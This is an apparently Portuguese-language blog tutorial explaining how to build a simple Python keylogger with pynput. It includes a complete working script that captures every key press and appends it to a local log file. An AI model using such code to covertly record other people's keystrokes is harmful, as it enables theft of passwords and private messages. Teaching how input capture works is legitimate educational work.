Como criar um keylogger em Python
Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.
[ Hits: 47.332 ]
Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.automatizando.dev
keydata = keydata.replace("'", "")
translate_keys = { "Key.space": " ", "Key.shift_r": "", "Key.shift_l": "", "Key.enter": "\n", "Key.alt": "", "Key.esc": "", "Key.cmd": "", "Key.caps_lock": "", }
for key in translate_keys: #key recebe a chave do dicionário translate_keys #substituir a chave (key) pelo seu valor (translate_keys[key]) keydata = keydata.replace(key, translate_keys[key])
#em pynput, importar o método Listener do teclado from pynput.keyboard import Listener #definir a localização do arquivo de log logFile = "/home/fabio/python/keylogger/log.txt" def writeLog(key): ''' Esta função será responsável por receber a tecla pressionada via Listener e escrever no arquivo de log ''' #dicionário com as teclas a serem traduzidas translate_keys = { "Key.space": " ", "Key.shift_r": "", "Key.shift_l": "", "Key.enter": "\n", "Key.alt": "", "Key.esc": "", "Key.cmd": "", "Key.caps_lock": "", } #converter a tecla pressionada para string keydata = str(key) #remover as asplas simples que delimitam os caracteres keydata = keydata.replace("'", "") for key in translate_keys: #key recebe a chave do dicionário translate_keys #substituir a chave (key) pelo seu valor (translate_keys[key]) keydata = keydata.replace(key, translate_keys[key]) #abrir o arquivo de log no modo append with open(logFile, "a") as f: f.write(keydata) #abrir o Listener do teclado e escutar o evento on_press #quando o evento on_press ocorrer, chamar a função writeLog with Listener(on_press=writeLog) as l: l.join()
Enviando email em formato HTML em PHP
Transferindo arquivos com o rsync
Liberte-se: Crie um Servidor Proxy na Nuvem para Acessar Conteúdos Bloqueados
Fazendo seu Linux falar com espeak
Introdução ao clib (Command Line Book)
Reconhecimento de placas de veículos com OpenALPR
Enviar mensagem ao usuário trabalhando com as opções do php.ini
Meu Fork do Plugin de Integração do CVS para o KDevelop
Compartilhando a tela do Computador no Celular via Deskreen
Como Configurar um Túnel SSH Reverso para Acessar Sua Máquina Local a Partir de uma Máquina Remota
Configuração para desligamento automatizado de Computadores em um Ambiente Comercial
Compartilhamento de Rede com samba em modo Público/Anônimo de forma simples, rápido e fácil
Cups: Mapear/listar todas as impressoras de outro Servidor CUPS de forma rápida e fácil
Criando uma VPC na AWS via CLI
Arch Linux - Guia para Iniciantes (0)
Dificuldade para renderizar vídeo no kdenlive (6)
xubuntu sem sons de eventos (3)
Erro ao iniciar serviço samba4 como novo dc em um ambiente com ad [RES... (9)